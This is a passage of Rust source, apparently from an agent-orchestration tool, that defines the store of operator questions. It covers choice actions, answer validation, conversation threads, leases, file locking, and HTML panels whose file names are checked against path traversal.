1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 13;
66
67const POLL: Duration = Duration::from_secs(3);
76
77const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
88
89const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
95
96const WAIT_SLICE: Duration = Duration::from_secs(240);
120
121pub const LEASE_TTL: Duration = Duration::from_secs(90);
131
132const LOCK_STALE: Duration = Duration::from_secs(10);
135
136pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
147
148pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
157
158const PANEL_DIR: &str = ".panel";
164
165const PANEL_HTML: &str = "index.html";
167
168const PANEL_TMP: &str = ".panel.tmp";
170
171pub fn valid_asset_name(name: &str) -> bool {
188 if name.is_empty() || name.len() > 64 || name.contains("..") {
189 return false;
190 }
191 let mut chars = name.chars();
192 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
193 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
194}
195
196#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
198#[serde(rename_all = "lowercase")]
199pub enum QuestionStatus {
200 Open,
202 Answered,
204 Abandoned,
208}
209
210impl QuestionStatus {
211 pub fn open(self) -> bool {
213 matches!(self, Self::Open)
214 }
215
216 pub fn as_str(self) -> &'static str {
218 match self {
219 Self::Open => "open",
220 Self::Answered => "answered",
221 Self::Abandoned => "abandoned",
222 }
223 }
224}
225
226#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
233#[serde(rename_all = "lowercase")]
234pub enum Answer {
235 Choice(String),
237 Text(String),
239}
240
241#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
249#[serde(tag = "do", rename_all = "lowercase")]
250pub enum ChoiceAction {
251 Resume {
253 run: String,
255 },
256 ResumeRun {
258 run: String,
260 },
261 ReleaseTask {
263 task: String,
265 held_at: jiff::Timestamp,
267 reason: Option<String>,
269 },
270 RerunChecks {
272 repo: PathBuf,
274 pr: String,
276 head: String,
278 runs: Vec<String>,
280 },
281 AbandonRun {
283 run: String,
285 },
286 Requeue,
288 Hold,
290 Done,
292}
293
294impl ChoiceAction {
295 pub fn maintenance(&self) -> bool {
297 matches!(
298 self,
299 Self::ResumeRun { .. }
300 | Self::ReleaseTask { .. }
301 | Self::RerunChecks { .. }
302 | Self::AbandonRun { .. }
303 )
304 }
305
306 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
311 let split = spec
312 .find("={")
313 .map(|at| (&spec[..at], &spec[at + 1..]))
314 .or_else(|| spec.rsplit_once('='));
315 let Some((label, verb)) = split else {
316 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
317 };
318 let label = label.trim();
319 if label.is_empty() {
320 bail!("`--action {spec}` names no choice before `=`");
321 }
322 let verb = verb.trim();
323 if verb.starts_with('{') {
324 let action = serde_json::from_str(verb).context("parse typed choice action")?;
325 return Ok((label.to_owned(), action));
326 }
327 let action = match verb.split_once(':') {
328 Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
329 run: run.trim().into(),
330 },
331 Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
332 run: run.trim().into(),
333 },
334 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
335 run: run.trim().to_owned(),
336 },
337 None if verb == "resume" => {
338 if default_run.is_empty() {
339 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
340 }
341 Self::Resume {
342 run: default_run.to_owned(),
343 }
344 }
345 None if verb == "requeue" => Self::Requeue,
346 None if verb == "hold" => Self::Hold,
347 None if verb == "done" => Self::Done,
348 _ => bail!(
349 "unknown action `{verb}` in `--action {spec}`; \
350 use resume[:<run>], requeue, hold or done"
351 ),
352 };
353 Ok((label.to_owned(), action))
354 }
355
356 pub fn matches_alias(&self, input: &str) -> bool {
359 let input = input.trim();
360 match self {
361 Self::Resume { run } => {
362 [
363 "resume",
364 "resume run",
365 "resume-run",
366 "再開",
367 "実行再開",
368 "実行を再開",
369 "実行を再開する",
370 ]
371 .iter()
372 .any(|alias| input.eq_ignore_ascii_case(alias))
373 || [
374 format!("resume {run}"),
375 format!("resume:{run}"),
376 format!("resume run {run}"),
377 format!("resume {}", short(run)),
378 format!("resume run {}", short(run)),
379 ]
380 .iter()
381 .any(|alias| input.eq_ignore_ascii_case(alias))
382 }
383 Self::Hold => ["hold", "keep-held", "keep held", "保留"]
384 .iter()
385 .any(|alias| input.eq_ignore_ascii_case(alias)),
386 _ => false,
387 }
388 }
389
390 pub fn describe(&self) -> String {
392 match self {
393 Self::Resume { run } => format!("resume run {}", short(run)),
394 Self::ResumeRun { run } => format!("resume run {}", short(run)),
395 Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
396 Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
397 Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
398 Self::Requeue => "requeue the task".to_owned(),
399 Self::Hold => "hold the task until the operator releases it".to_owned(),
400 Self::Done => "mark the task done".to_owned(),
401 }
402 }
403}
404
405pub fn parse_actions(
408 specs: &[String],
409 choices: &[String],
410 default_run: &str,
411) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
412 let mut out = std::collections::BTreeMap::new();
413 for spec in specs {
414 let (label, action) = ChoiceAction::parse(spec, default_run)?;
415 if !choices.contains(&label) {
416 bail!(
417 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
418 choices.join(", ")
419 );
420 }
421 if out.insert(label.clone(), action).is_some() {
422 bail!("more than one --action for `{label}`");
423 }
424 }
425 Ok(out)
426}
427
428#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
439#[serde(rename_all = "lowercase")]
440pub enum Who {
441 Operator,
443 Agent,
446}
447
448#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
456#[serde(deny_unknown_fields)]
457pub struct Turn {
458 pub who: Who,
460 pub body: String,
462 pub at: Timestamp,
464 #[serde(default, skip_serializing_if = "Option::is_none")]
469 pub note: Option<String>,
470}
471
472#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
474#[serde(rename_all = "lowercase")]
475pub enum WaiterKind {
476 Asker,
478 Daemon,
481 Deputy,
485}
486
487#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
499pub struct Deputy {
500 pub brief: String,
503 #[serde(default)]
505 pub agent: String,
506 #[serde(default)]
508 pub seat: Option<crate::agent::SeatState>,
509 #[serde(default)]
512 pub starts: u32,
513}
514
515impl Deputy {
516 pub fn new(brief: String) -> Self {
518 Self {
519 brief,
520 agent: String::new(),
521 seat: None,
522 starts: 0,
523 }
524 }
525}
526
527pub fn deputy_seat_key(id: &str) -> String {
529 format!("deputy-{}", short(id))
530}
531
532#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
537pub struct Waiter {
538 pub kind: WaiterKind,
540 pub since: Timestamp,
542}
543
544#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
553pub struct Lease {
554 pub kind: WaiterKind,
556 pub pid: u32,
558 pub beat_at: Timestamp,
560}
561
562impl Lease {
563 pub fn fresh(&self, now: Timestamp) -> bool {
565 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
566 }
567}
568
569#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
571#[serde(deny_unknown_fields)]
572pub struct Question {
573 pub schema: u32,
575 pub id: String,
578 pub run: String,
580 pub node: String,
582 pub seat: String,
585 pub summary: String,
588 pub detail: String,
591 #[serde(default, skip_serializing_if = "Option::is_none")]
593 pub posting_comparison: Option<crate::github_text::PostingComparison>,
594 pub choices: Vec<String>,
598 #[serde(default)]
600 pub merge_target: Option<crate::merge_decision::Target>,
601 #[serde(default)]
603 pub routed_task: Option<String>,
604 #[serde(default, skip_serializing_if = "std::ops::Not::not")]
607 pub legacy_foreground: bool,
608 #[serde(default)]
610 pub routed_chat: Option<String>,
611 #[serde(default, skip_serializing_if = "Option::is_none")]
614 pub publication_title: Option<String>,
615 #[serde(default)]
619 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
620 #[serde(default)]
627 pub panel: bool,
628 #[serde(default)]
635 pub assets: Vec<String>,
636 pub status: QuestionStatus,
638 pub asked_at: Timestamp,
640 #[serde(default)]
642 pub triage_generation: Option<u64>,
643 pub answered_at: Option<Timestamp>,
645 #[serde(default, skip_serializing_if = "Option::is_none")]
648 pub accepted_answer_at: Option<Timestamp>,
649 pub answer: Option<Answer>,
651 #[serde(default)]
660 pub thread: Vec<Turn>,
661 #[serde(default)]
676 pub answer_timeout: u64,
677 #[serde(default)]
683 pub cwd: Option<String>,
684 #[serde(default)]
686 pub waiter: Option<Waiter>,
687 #[serde(default)]
691 pub delivered_turns: usize,
692 #[serde(default)]
695 pub answer_delivered: bool,
696 #[serde(default)]
699 pub deputy: Option<Deputy>,
700 #[serde(default)]
704 pub consult: Option<ChatConsult>,
705 #[serde(default, skip_serializing_if = "Option::is_none")]
711 pub answer_authority: Option<LegacyAnswerAuthority>,
712 #[serde(default, skip_serializing_if = "Option::is_none")]
714 pub consult_outcome: Option<crate::consult::ConsultOutcome>,
715 #[serde(default)]
718 pub decision_context: Option<String>,
719}
720
721#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
723pub struct ChatConsult {
724 pub talk: String,
726 pub at: Timestamp,
728}
729
730#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
734pub struct LegacyAnswerAuthority {
735 pub question: String,
737 pub choice: String,
739 pub instruction: String,
741}
742
743impl Question {
744 pub fn run_names_task(&self) -> bool {
747 matches!(
748 self.node.as_str(),
749 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
750 )
751 }
752
753 pub fn new(
756 run: String,
757 node: String,
758 seat: String,
759 summary: String,
760 detail: String,
761 choices: Vec<String>,
762 ) -> Self {
763 Self {
764 schema: SCHEMA,
765 id: new_id(),
766 run,
767 node,
768 seat,
769 summary,
770 detail,
771 posting_comparison: None,
772 choices,
773 merge_target: None,
774 routed_task: None,
775 legacy_foreground: false,
776 routed_chat: None,
777 publication_title: None,
778 actions: std::collections::BTreeMap::new(),
779 panel: false,
780 assets: Vec::new(),
781 status: QuestionStatus::Open,
782 asked_at: Timestamp::now(),
783 triage_generation: None,
784 answered_at: None,
785 accepted_answer_at: None,
786 answer: None,
787 thread: Vec::new(),
788 answer_timeout: 0,
789 cwd: None,
790 waiter: None,
791 delivered_turns: 0,
792 answer_delivered: false,
793 deputy: None,
794 consult: None,
795 answer_authority: None,
796 consult_outcome: None,
797 decision_context: None,
798 }
799 }
800
801 pub fn short(&self) -> &str {
803 short(&self.id)
804 }
805
806 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
809 match (&self.status, &self.answer) {
810 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
811 _ => None,
812 }
813 }
814
815 pub fn free_text(&self) -> bool {
817 self.choices.is_empty()
818 }
819
820 pub fn reply_guidance(&self) -> String {
823 self.choices
824 .iter()
825 .map(|label| {
826 let aliases: Vec<_> = ["resume-run", "keep-held"]
827 .into_iter()
828 .filter(|alias| self.resolve_reply(alias).ok() == Some(label.as_str()))
829 .collect();
830 let exact = serde_json::to_string(label).expect("serialize label");
831 let reply = if aliases.is_empty() {
832 format!("exact label: {exact}")
833 } else {
834 format!(
835 "exact label: {exact}; accepted aliases: {}",
836 aliases.join(", ")
837 )
838 };
839 match self.actions.get(label) {
840 Some(action) => {
841 format!("{reply}; effect (not reply text): {}", action.describe())
842 }
843 None => reply,
844 }
845 })
846 .collect::<Vec<_>>()
847 .join("\n")
848 }
849
850 pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
853 if self.free_text() || self.choices.iter().any(|c| c == reply) {
854 return Ok(reply);
855 }
856 if ChoiceAction::Hold.matches_alias(reply)
857 && let Some(label) = self
858 .choices
859 .iter()
860 .find(|label| crate::triage::contextual_keep_held(self, label))
861 {
862 return Ok(label);
863 }
864 let matches: Vec<_> = self
865 .actions
866 .iter()
867 .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
868 .collect();
869 match matches.as_slice() {
870 [(label, _)] => Ok(label.as_str()),
871 [] => bail!(
872 "alias mismatch with offered choices: `{reply}` is not an offered label or supported action alias; exact labels: {}; inspect `magi answer --list`, copy the intended offered label verbatim into --reply, and retry once (action descriptions and bracketed annotations are not reply values)",
873 serde_json::to_string(&self.choices).expect("serialize labels")
874 ),
875 _ => bail!(
876 "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
877 ),
878 }
879 }
880
881 pub fn answer(&mut self, answer: Answer) -> Result<()> {
891 self.answer_inner(answer)
892 }
893
894 pub(crate) fn answer_chat_button(
896 &mut self,
897 answer: Answer,
898 talk: &str,
899 head: &str,
900 ) -> Result<()> {
901 anyhow::ensure!(
902 self.routed_chat.as_deref() == Some(talk),
903 "wrong approval chat"
904 );
905 anyhow::ensure!(
906 self.merge_target.as_ref().is_some_and(|t| t.head == head),
907 "stale approval head"
908 );
909 self.answer_inner(answer)
910 }
911
912 fn answer_inner(&mut self, answer: Answer) -> Result<()> {
913 match self.status {
914 QuestionStatus::Answered => bail!(
915 "question {} was already answered; the run has moved on and a \
916 second answer would be a decision nobody acted on",
917 self.short()
918 ),
919 QuestionStatus::Abandoned => bail!(
920 "question {} was abandoned and the run behind it is gone",
921 self.short()
922 ),
923 QuestionStatus::Open => {}
924 }
925 let body = match &answer {
926 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
927 };
928 if body.trim().is_empty() {
929 bail!(
930 "question {} needs an answer; an empty one tells the agent \
931 nothing and it would guess anyway",
932 self.short()
933 );
934 }
935 match &answer {
936 Answer::Choice(c) if self.free_text() => bail!(
937 "question {} asks for free text, so `{c}` cannot be a choice \
938 it offered",
939 self.short()
940 ),
941 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
942 "`{c}` is not one of the choices question {} offers: {}",
943 self.short(),
944 self.choices.join(", ")
945 ),
946 Answer::Text(_) if !self.free_text() => bail!(
947 "question {} is multiple choice; answer with one of: {}",
948 self.short(),
949 self.choices.join(", ")
950 ),
951 _ => {}
952 }
953 if body.eq_ignore_ascii_case(crate::land::HOLD)
956 && self
957 .actions
958 .get(body)
959 .is_some_and(|a| *a != ChoiceAction::Hold)
960 {
961 bail!("hold cannot execute a question action");
962 }
963 self.answered_at = Some(Timestamp::now());
964 self.answer = Some(answer);
965 self.status = QuestionStatus::Answered;
966 Ok(())
967 }
968
969 pub fn abandon(&mut self, why: impl Into<String>) {
981 if !self.status.open() {
982 return;
983 }
984 self.status = QuestionStatus::Abandoned;
985 let why = why.into();
986 let why = why.trim();
987 if why.is_empty() {
988 return;
989 }
990 if !self.detail.is_empty() {
991 self.detail.push('\n');
992 }
993 self.detail.push_str("\n_Abandoned: ");
994 self.detail.push_str(why);
995 self.detail.push_str("._\n");
996 }
997
998 pub fn resolution(&self) -> Option<String> {
1005 match (self.status, &self.answer) {
1006 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
1007 Some(a.clone())
1008 }
1009 _ => None,
1010 }
1011 }
1012
1013 pub fn settle_by_deputy(&mut self, seat: &str, label: &str, note: Option<&str>) -> Result<()> {
1025 if self.routed_task.is_some() {
1026 bail!("task decisions are handled by the task chat, not a deputy");
1027 }
1028 let Some(deputy) = &self.deputy else {
1029 bail!("question {} has no deputy", self.short());
1030 };
1031 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
1032 if own != Some(seat) {
1033 bail!("only the deputy of question {} may settle it", self.short());
1034 }
1035 if !self.choices.iter().any(|c| c == label) {
1036 bail!(
1037 "`{label}` is not one of the choices offered on question {}",
1038 self.short()
1039 );
1040 }
1041 self.answer(Answer::Choice(label.to_owned()))?;
1042 self.thread.push(Turn {
1043 who: Who::Agent,
1044 body: format!("Settled as `{label}` on the owner's words."),
1045 at: Timestamp::now(),
1046 note: note
1047 .map(str::trim)
1048 .filter(|n| !n.is_empty())
1049 .map(str::to_owned),
1050 });
1051 self.delivered_turns = self.thread.len();
1052 Ok(())
1053 }
1054
1055 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1066 match self.status {
1067 QuestionStatus::Answered => bail!(
1068 "question {} was already answered; there is nothing left to \
1069 discuss",
1070 self.short()
1071 ),
1072 QuestionStatus::Abandoned => bail!(
1073 "question {} was abandoned and the run behind it is gone",
1074 self.short()
1075 ),
1076 QuestionStatus::Open => {}
1077 }
1078 let body = body.into();
1079 if body.trim().is_empty() {
1080 bail!("a message to question {} cannot be empty", self.short());
1081 }
1082 self.thread.push(Turn {
1083 who: Who::Operator,
1084 body,
1085 at: Timestamp::now(),
1086 note: None,
1087 });
1088 Ok(())
1089 }
1090
1091 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1101 match self.status {
1102 QuestionStatus::Answered => bail!(
1103 "question {} was already answered; replying now would not \
1104 reach anyone",
1105 self.short()
1106 ),
1107 QuestionStatus::Abandoned => bail!(
1108 "question {} was abandoned and the run behind it is gone",
1109 self.short()
1110 ),
1111 QuestionStatus::Open => {}
1112 }
1113 let body = body.into();
1114 if body.trim().is_empty() {
1115 bail!("a reply to question {} cannot be empty", self.short());
1116 }
1117 self.actions.retain(|label, _| choices.contains(label));
1119 self.choices = choices;
1120 let unread = self.unread_from_owner().is_some();
1121 self.thread.push(Turn {
1122 who: Who::Agent,
1123 body,
1124 at: Timestamp::now(),
1125 note: None,
1126 });
1127 if !unread {
1131 self.delivered_turns = self.thread.len();
1132 }
1133 Ok(())
1134 }
1135
1136 pub fn unread_from_owner(&self) -> Option<String> {
1143 if !self.status.open() {
1144 return None;
1145 }
1146 let said = self.undelivered_owner_turns();
1147 (!said.is_empty()).then(|| said.join("\n\n"))
1148 }
1149
1150 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1156 let from = self.delivered_turns.min(self.thread.len());
1157 self.thread[from..]
1158 .iter()
1159 .filter(|t| t.who == Who::Operator)
1160 .map(|t| t.body.as_str())
1161 .collect()
1162 }
1163
1164 pub fn last_activity(&self) -> i64 {
1168 self.thread
1169 .iter()
1170 .map(|t| t.at.as_second())
1171 .max()
1172 .unwrap_or(0)
1173 .max(self.asked_at.as_second())
1174 }
1175
1176 pub fn waiting_on_agent(&self) -> bool {
1185 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1186 }
1187
1188 fn should_notify(&self, now: Timestamp) -> bool {
1196 let Some(last) = self
1197 .thread
1198 .iter()
1199 .rev()
1200 .find(|t| t.who == Who::Operator)
1201 .map(|t| t.at)
1202 else {
1203 return true;
1204 };
1205 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1206 }
1207}
1208
1209#[derive(Debug, Clone)]
1211pub struct Questions {
1212 root: PathBuf,
1213}
1214
1215impl Questions {
1216 pub fn open() -> Self {
1218 Self::at(crate::run::home().join("questions"))
1219 }
1220
1221 pub fn at(root: PathBuf) -> Self {
1224 Self { root }
1225 }
1226
1227 pub fn root(&self) -> &Path {
1229 &self.root
1230 }
1231
1232 pub fn path_of(&self, id: &str) -> PathBuf {
1234 self.root.join(format!("{id}.json"))
1235 }
1236
1237 pub fn panel_dir(&self, id: &str) -> PathBuf {
1239 self.root.join(format!("{id}{PANEL_DIR}"))
1240 }
1241
1242 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1266 if !valid_asset_name(&q.id) {
1267 bail!(
1268 "question id `{}` is not a name magi will build a panel path from",
1269 q.id
1270 );
1271 }
1272 if html.trim().is_empty() {
1273 bail!(
1274 "question {} was handed an empty panel; an empty frame reads to \
1275 the owner as \"the agent had nothing to say\", which is a lie",
1276 q.short()
1277 );
1278 }
1279
1280 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1283 for src in assets {
1284 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1285 if !valid_asset_name(name) {
1286 bail!(
1287 "panel asset `{}` cannot be stored: a panel file name must \
1288 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1289 src.display()
1290 );
1291 }
1292 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1293 bail!(
1294 "two panel assets are both named `{name}` - {} and {} - and \
1295 the panel can only show one of them; rename one at the source",
1296 first.display(),
1297 src.display()
1298 );
1299 }
1300 named.push((name.to_owned(), src.as_path()));
1301 }
1302
1303 let mut total = html.len() as u64;
1304 for (_, src) in &named {
1305 let meta = std::fs::metadata(src)
1306 .with_context(|| format!("stat panel asset {}", src.display()))?;
1307 if !meta.is_file() {
1308 bail!(
1309 "panel asset `{}` is not a file; a panel is html plus files \
1310 copied beside it",
1311 src.display()
1312 );
1313 }
1314 total = total.saturating_add(meta.len());
1315 }
1316 if total > PANEL_MAX_BYTES {
1317 bail!(
1318 "panel for question {} is {total} bytes, over magi's cap of \
1319 {PANEL_MAX_BYTES} bytes; nothing was written",
1320 q.short()
1321 );
1322 }
1323
1324 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1325 let dir = self.panel_dir(&q.id);
1326 std::fs::create_dir_all(&self.root)
1327 .with_context(|| format!("create {}", self.root.display()))?;
1328 clear_dir(&tmp)?;
1329 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1330 if let Err(e) = fill_panel(&tmp, html, &named) {
1331 let _ = std::fs::remove_dir_all(&tmp);
1334 return Err(e);
1335 }
1336 clear_dir(&dir)?;
1337 std::fs::rename(&tmp, &dir)
1338 .with_context(|| format!("move panel into {}", dir.display()))?;
1339
1340 q.panel = true;
1341 q.assets = named.into_iter().map(|(n, _)| n).collect();
1342 q.assets.sort_unstable();
1343 Ok(())
1344 }
1345
1346 pub fn panel_html(&self, id: &str) -> Option<String> {
1352 if !valid_asset_name(id) {
1353 return None;
1354 }
1355 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1356 }
1357
1358 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1369 if !valid_asset_name(name) {
1370 bail!(
1371 "`{name}` is not a panel file name; it must match \
1372 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1373 );
1374 }
1375 if !valid_asset_name(id) {
1376 return Ok(None);
1377 }
1378 let dir = self.panel_dir(id);
1379 if !dir.is_dir() {
1380 return Ok(None);
1381 }
1382 let path = dir.join(name);
1383 match std::fs::read(&path) {
1384 Ok(bytes) => Ok(Some(bytes)),
1385 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1386 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1387 }
1388 }
1389
1390 pub fn drop_panel(&self, id: &str) -> Result<()> {
1399 if !valid_asset_name(id) {
1400 bail!("question id `{id}` is not a name magi will build a panel path from");
1401 }
1402 clear_dir(&self.panel_dir(id))?;
1403 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1404 }
1405
1406 pub fn lease_path(&self, id: &str) -> PathBuf {
1408 self.root.join(format!("{id}.lease"))
1409 }
1410
1411 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1413 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1414 serde_json::from_str(&body).ok()
1415 }
1416
1417 pub fn beat(&self, id: &str, kind: WaiterKind) {
1424 let lease = Lease {
1425 kind,
1426 pid: std::process::id(),
1427 beat_at: Timestamp::now(),
1428 };
1429 let path = self.lease_path(id);
1430 let tmp = path.with_extension("lease.tmp");
1431 let written = std::fs::create_dir_all(&self.root)
1432 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1433 .and_then(|()| std::fs::rename(&tmp, &path));
1434 if let Err(e) = written {
1435 tracing::debug!("could not beat the lease on question {id}: {e}");
1436 }
1437 }
1438
1439 pub fn drop_lease(&self, id: &str) {
1441 let _ = std::fs::remove_file(self.lease_path(id));
1442 }
1443
1444 pub fn update<T>(
1455 &self,
1456 id: &str,
1457 f: impl FnOnce(&mut Question) -> Result<T>,
1458 ) -> Result<(Question, T)> {
1459 std::fs::create_dir_all(&self.root)
1460 .with_context(|| format!("create {}", self.root.display()))?;
1461 let lock = self.root.join(format!("{id}.lock"));
1462 let started = std::time::Instant::now();
1463 let retry = crate::lock_file::Retry::new(Some(started + LOCK_STALE));
1464 loop {
1465 match retry.create(&lock) {
1466 Ok(_) => break,
1467 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1468 let stale = std::fs::metadata(&lock)
1469 .and_then(|m| m.modified())
1470 .ok()
1471 .and_then(|t| t.elapsed().ok())
1472 .is_some_and(|age| age > LOCK_STALE);
1473 if stale {
1474 let _ = std::fs::remove_file(&lock);
1475 } else if started.elapsed() > LOCK_STALE {
1476 bail!("could not lock question {id}");
1477 } else {
1478 std::thread::sleep(Duration::from_millis(15));
1479 }
1480 }
1481 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1482 }
1483 }
1484 struct Unlock(PathBuf);
1485 impl Drop for Unlock {
1486 fn drop(&mut self) {
1487 let _ = std::fs::remove_file(&self.0);
1488 }
1489 }
1490 let _guard = Unlock(lock);
1491 let mut q = read_path(&self.path_of(id))?;
1492 let effective_dismissal = |q: &Question| {
1493 q.resolution().as_deref() == Some(crate::merge_decision::DISMISS)
1494 && !self.root.parent().is_some_and(|home| {
1495 crate::task_chat::saved_reply_requires_confirmation(home, q)
1496 })
1497 };
1498 let was_dismissed = effective_dismissal(&q);
1499 let prior_answer = (q.answered_at, q.resolution());
1500 let out = f(&mut q)?;
1501 if q.resolution().is_some() && prior_answer != (q.answered_at, q.resolution()) {
1502 let home = self.root.parent().context("question store has no home")?;
1503 q.accepted_answer_at = q.answered_at;
1504 crate::task_chat::accept_fresh_reply(home, &q)?;
1505 }
1506 if !was_dismissed && effective_dismissal(&q) {
1507 let home = self.root.parent().context("question store has no home")?;
1508 crate::merge_decision::dismiss(home, &q)?;
1509 }
1510 self.put(&mut q)?;
1511 Ok((q, out))
1512 }
1513
1514 pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1517 anyhow::ensure!(
1518 q.actions.keys().all(|c| q.choices.contains(c)),
1519 "question action names an unoffered choice"
1520 );
1521 for label in &q.choices {
1522 anyhow::ensure!(
1523 crate::choice_effect::describe(q, label).is_some(),
1524 "question node {} offers an unsupported choice: {label}",
1525 q.node
1526 );
1527 }
1528 self.put(q)
1529 }
1530
1531 pub fn put(&self, q: &mut Question) -> Result<()> {
1535 if q.status.open()
1536 && q.routed_task.is_none()
1537 && let Some(home) = self.root.parent()
1538 {
1539 let tasks = crate::queue::Queue::at(home.join("queue")).list();
1540 q.routed_task =
1541 crate::task_chat::task_of(q, &tasks).filter(|_| crate::task_chat::chat_routable(q));
1542 }
1543 std::fs::create_dir_all(&self.root)
1544 .with_context(|| format!("create {}", self.root.display()))?;
1545 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1546 let path = self.path_of(&q.id);
1547 let tmp = path.with_extension("json.tmp");
1548 let is_new = !path.exists();
1549 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1550 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1551 if is_new
1554 && q.status.open()
1555 && q.node != crate::bump::NOTICE_NODE
1556 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1557 {
1558 crate::notices::quiet_for(home, q);
1559 }
1560 Ok(())
1561 }
1562
1563 pub(crate) fn read_history(&self, id: &str) -> Result<Question> {
1566 anyhow::ensure!(
1567 !id.is_empty() && !id.contains(['/', '\\']) && id != "." && id != "..",
1568 "invalid saved inquiry identity"
1569 );
1570 let q = read_path(&self.path_of(id))?;
1571 anyhow::ensure!(
1572 q.id == id,
1573 "saved inquiry identity does not match its filename"
1574 );
1575 Ok(q)
1576 }
1577
1578 pub fn get(&self, id: &str) -> Result<Question> {
1580 let resolved = self.resolve_id(id)?;
1581 let q = read_path(&self.path_of(&resolved))?;
1582 Ok(self.consumption_view(self.with_repair_choice(q)))
1583 }
1584
1585 fn consumption_view(&self, q: Question) -> Question {
1589 let migrated = self
1590 .root
1591 .parent()
1592 .is_some_and(|home| crate::task_chat::migrated_source(home, &q.id));
1593 self.consumption_view_in(q, migrated)
1594 }
1595
1596 fn consumption_view_in(&self, mut q: Question, migrated: bool) -> Question {
1597 if self.root.parent().is_some_and(|home| {
1598 crate::task_inquiry::Outbox::at(home)
1599 .get(&q.id)
1600 .is_ok_and(|record| {
1601 record.decision.is_some_and(|d| {
1602 d.legacy_settled && d.status == crate::task_decision::Status::Resolved
1603 })
1604 })
1605 }) {
1606 q.answer = None;
1609 q.answered_at = None;
1610 q.answer_authority = None;
1611 q.status = QuestionStatus::Abandoned;
1612 return q;
1613 }
1614 if let Some(home) = self.root.parent()
1615 && migrated
1616 && !crate::task_chat::standalone_inquiry(home, &q)
1617 && crate::task_chat::source_reply_needs_confirmation(home, &q)
1618 {
1619 let saved = q.resolution().unwrap_or_default();
1620 q.detail.push_str(&format!(
1621 "\n\nSaved reply (history only; no new owner request): {saved}"
1622 ));
1623 q.answer = None;
1624 q.answered_at = None;
1625 q.answer_authority = None;
1626 q.status = if crate::task_inquiry::Outbox::at(home)
1627 .get(&q.id)
